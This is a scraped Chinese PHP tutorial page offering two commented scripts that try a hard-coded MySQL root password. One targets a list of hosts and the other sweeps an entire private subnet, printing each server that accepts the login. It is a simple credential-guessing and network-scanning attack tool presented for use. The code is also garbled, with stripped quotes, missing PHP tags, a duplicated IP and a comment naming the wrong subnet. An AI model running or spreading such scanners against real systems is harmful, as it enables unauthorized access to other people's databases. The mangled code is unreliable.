MySQL資料庫猜密碼指令碼PHP版_PHP教程

來源:互聯網
上載者:User
From:angels Blog Source URL:http://www.sablog.net/blog/archives/479/

剛才上網瞎逛,無意中在小A(angel)的部落格上看見的這段程式,寫的很簡單很強大!呵呵!~是用PHP實現的,我在他寫的基礎上給加了代碼注釋,方便不懂PHP的朋友理解,廢話不多說,上代碼!

//在已知指定資料庫伺服器開了3306連接埠的情況下執行如下PHP指令碼進行猜解。

Code-1:

$hostdb = array(
192.168.168.10,
192.168.168.20,
192.168.168.20,
192.168.168.40,
192.168.168.50,
192.168.168.60,
192.168.168.70,
192.168.168.80,
192.168.168.90,
192.168.168.100
); //將這些IP地址放到預定義的數組裡面

$dbu = root; //這是預先定義好的資料庫使用者名稱
$dbp = 1qaz2wsx; //這是預習定義好的資料庫的密碼

foreach ($hostdb as $host) { //用foreach遍曆預先定義的數組
if(@mysql_connect($host, $dbu, $dbp)) {
echo $host. - .$dbu. - .$dbp. ... OK
; //如果符合預先定義的使用者名稱和密碼那麼就列印出來
}
}

echo done.;

?>

//如下代碼是對指定IP位址區段進行掃描。

Code-2:

$ips = 192.168.168.; //預先定義的網段為C段IP位址區段
$dbu = root; //預先定義的使用者名稱
$dbp = 1qaz2wsx; //預先定義的密碼

for ($i=1; $i<254; $i++) { //設定for迴圈,在192.168.1.1的基礎上逐一累加直到192.168.1.254
if(@mysql_connect($ips.$i, $dbu, $dbp)) { //嘗試與其進行串連
echo $ips.$i. - .$dbu. - .$dbp. ... OK
; //如果串連成功,則列印出來

}
}

echo done.;

?>

http://www.bkjia.com/PHPjc/508455.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/508455.htmlTechArticleFrom:angels Blog Source URL: http://www.sablog.net/blog/archives/479/ 剛才上網瞎逛,無意中在小A(angel)的部落格上看見的這段程式,寫的很簡單很強大!...

  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.